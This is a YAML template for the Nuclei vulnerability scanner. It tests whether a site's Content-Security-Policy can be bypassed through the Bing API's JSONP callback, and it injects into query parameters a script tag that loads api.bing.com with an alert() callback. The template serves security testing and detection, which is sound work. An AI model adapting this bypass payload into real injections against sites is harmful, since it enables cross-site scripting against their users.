id: bing-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Bing API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,bing-api,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "bing.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: bing_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.bing.com/osjson.aspx?query=x&JsonType=callback&JsonCallback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "bing_api_csp_xss == true"
# digest: 4b0a00483046022100f3b121c2613ebce02a4c56edb20617b781e1c7dc9b9d39b3a9d0e6fb3f1d0b8a022100877bbecfc79630ccd2775609a3adf0f5f1f62a06ae45dfc33a020118f3dc7dd5:922c64590222798bb761d5b6d8e72950